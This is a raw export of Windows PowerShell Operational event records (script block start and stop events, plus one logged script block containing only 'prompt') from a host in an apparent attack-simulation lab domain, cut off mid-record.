Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478352
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478351
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478350
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478348
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478347
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478346
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478345
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478344
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478342
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478341
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478339
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478338
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478337
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478334
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478332
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478331
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478330
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478328
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478327
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478326
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478325
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478323
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478320
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478318
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478317
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478314
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478313
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478312
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478311
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478309
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478308
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478307
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1874a77a-91d5-41ae-b7a0-7444da113eed
Runspace ID: 6d4e8167-00e7-4c12-b02b-7bfd394b2dd1
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478304
Keywords=None
Message=Completed invocation of ScriptBlock ID: dd2a47ed-e90f-4a16-b784-ca6492825d96
Runspace ID: 6d4e8167-00e7-4c12-b02b-7bfd394b2dd1
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478480
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2fedd906-3122-43c6-adf6-6fc20308b73a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478477
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478476
Keywords=None
Message=Started invocation of ScriptBlock ID: 2fedd906-3122-43c6-adf6-6fc20308b73a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478475
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 2fedd906-3122-43c6-adf6-6fc20308b73a
Path:
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
